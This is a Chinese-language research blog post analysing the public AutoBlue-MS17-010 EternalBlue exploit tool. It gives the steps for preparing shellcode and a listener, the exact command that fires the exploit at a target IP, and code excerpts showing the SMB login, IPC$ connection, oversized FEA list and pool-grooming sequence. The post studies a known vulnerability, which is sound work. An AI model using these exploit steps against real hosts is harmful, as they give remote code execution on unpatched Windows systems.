美文网首页
[工具编写][漏洞研究]MS17-010利用工具分析

[工具编写][漏洞研究]MS17-010利用工具分析

作者: Rixo | 来源:发表于2022-07-05 17:45 被阅读0次

简述

由于该漏洞shellcode利用部分没有弄的太明白,于是我准备找一份别人写的工具来看看,别人怎么成功利用的。这份工具的好处在于,支持多个系统版本,坏处在于~蓝屏概率异常高,看来是堆喷射的手法比nsa工具集差远了。不过有源码,所以也是我仅能找到的写法参考工具了。
工具来源:
3ndG4me/AutoBlue-MS17-010

搭建步骤

监听部分

  1. git 下载工具,然后进入shellcode目录,运行./shell_prep.sh,填ip端口,然后一路选就好了。
  2. 回到主目录,运行./listener_prep.sh,填和shellcode一样的ip端口,同样一路选就好了。

攻击部分

  1. 进入python虚拟环境(配置搭建教程
    source autoblue-env/bin/activate
  2. 安装所需的模块
    pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
  3. 执行攻击命令
    python eternalblue_exploit7.py 10.211.55.15 ./shellcode/sc_x86_msf.bin

代码分析

  1. wireshark抓包,过滤规则:
    !(ip.dst == 239.255.255.250) && not arp && not nbns && not ntp && not dns && !(ip.dst == 192.168.32.255) && not dhcpv6 && not mdns && not icmpv6 && not llmnr && ip.dst != 224.0.0.22
  1. 创建smb连接,是NetBIOS会话请求
    conn = smb.SMB(target, target)

  2. 发送一个登录请求,获取UID和操作系统版本,是SMB_COM_SESSION_SETUP_ANDX命令
    conn.login_standard('', '')
    server_os = conn.get_server_os()

  3. 发送SMB_COM_TREE_CONNECT_ANDX请求,获取tid
    tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

  4. 此处比较关键,原理详情,发送除了最后一个触发溢出漏洞的feal结构之外的其他feal数据。
    progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)

allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)

sk = createConnectionWithBigSMBFirst80(target)

holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)

for i in range(5):
    sk = createConnectionWithBigSMBFirst80(target)
    srvnetConn.append(sk)

send_trans2_second(conn, tid, feaList[progress:], progress)

``

关键点分析

SMB_COM_NT_TRANSACT和SMB_COM_TRANSACTION2的转换BUG

相关文章

网友评论

      本文标题:[工具编写][漏洞研究]MS17-010利用工具分析

      本文链接:https://www.haomeiwen.com/subject/qzlkbrtx.html